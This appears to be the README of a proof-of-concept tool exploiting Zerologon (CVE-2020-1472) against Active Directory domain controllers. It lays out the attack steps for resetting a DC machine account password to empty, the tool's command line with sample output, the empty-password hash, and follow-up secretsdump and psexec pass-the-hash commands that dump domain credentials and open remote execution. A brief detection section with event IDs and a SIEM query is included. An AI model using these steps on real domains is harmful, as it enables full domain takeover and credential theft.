
Zerologon (CVE-2020-1472) application de preuve de concept - Outil d'exploitation de la vulnérabilité critique Active Directory.
Ce projet est une implémentation de la vulnérabilité Zerologon (CVE-2020-1472), l'une des vulnérabilités de sécurité Active Directory les plus critiques. Cette vulnérabilité permet à un attaquant non authentifié de compromettre l'intégralité du domaine Active Directory en réinitialisant le mot de passe du compte machine du contrôleur de domaine.
Zerologon est une faille cryptographique dans le protocole Netlogon Remote Protocol (MS-NRPC) de Microsoft. La vulnérabilité réside dans la manière dont Netlogon utilise le chiffrement AES-CFB8 avec un vecteur d'initialisation (IV) codé en dur, défini à zéro.
Résumé technique :
1. Target Selection
└─> Identify Domain Controller (FQDN, NetBIOS name, machine account)
2. Challenge Phase (I_NetServerReqChallenge)
└─> Send all-zero client challenge (0x0000000000000000)
└─> Receive server challenge
3. Authentication Phase (I_NetServerAuthenticate2)
└─> Attempt authentication with null credentials
└─> Repeat until successful (~1/256 success rate per attempt)
4. Password Reset Phase (I_NetServerPasswordSet2)
└─> Reset DC machine account password to empty
└─> New NT hash: 31d6cfe0d16ae931b73c59d7e0c089c0 (empty password)
5. Post-Exploitation
└─> Use Pass-the-Hash with empty credentials
└─> Full domain compromise achieved
Avec Visual Studio :
1. Open Visual Studio
2. Select **Build Solution** from the **Build** menu.
Zerologon.exe <DC_FQDN> <DC_NetBIOS_Name> <Machine_Account_Name>
Exemple :
Zerologon.exe DC01.corp.example.com DC01 DC01$
DC_FQDN : Nom de domaine pleinement qualifié du contrôleur de domaine cibleDC_NetBIOS_Name : Nom NetBIOS du DC (généralement le nom d'hôte)Machine_Account_Name : Nom du compte machine (doit se terminer par $)Exploitation réussie :
[+] Targeting Domain Controller:
FQDN : DC01.corp.example.com
NetBIOS Name : DC01
Machine Account: DC01$
[+] SUCCESS: Machine account password reset to empty!
[+] Now use Pass-the-Hash with:
.\DC01$:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[+] Then run: secretsdump.py -just-dc <domain>/<dc_account>@<dc_ip>
Échec de l'exploitation (système corrigé) :
[-] Attack failed after 2000 attempts. Target likely patched.
Après avoir réinitialisé avec succès le mot de passe du DC, vous pouvez :
secretsdump.py -no-pass -just-dc 'DOMAIN/DC01$'@192.168.1.10
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 'DOMAIN/DC01$'@DC01
Détection basée sur le réseau :
Détection basée sur les journaux :
Event Viewer → Windows Logs → System
- Event ID 5827: Multiple password validation failures
- Event ID 5829: Secure channel reset
Requêtes SIEM :
source="WinEventLog:System" EventCode=5827 OR EventCode=5829
| stats count by Computer, SourceIP
| where count > 100
Cet outil est fourni uniquement à des fins éducatives et de recherche en sécurité autorisée.
L'auteur décline toute responsabilité en cas de mauvaise utilisation de ce code.
Ce projet est sous licence MIT. Pour plus d'informations, consultez le fichier LICENSE.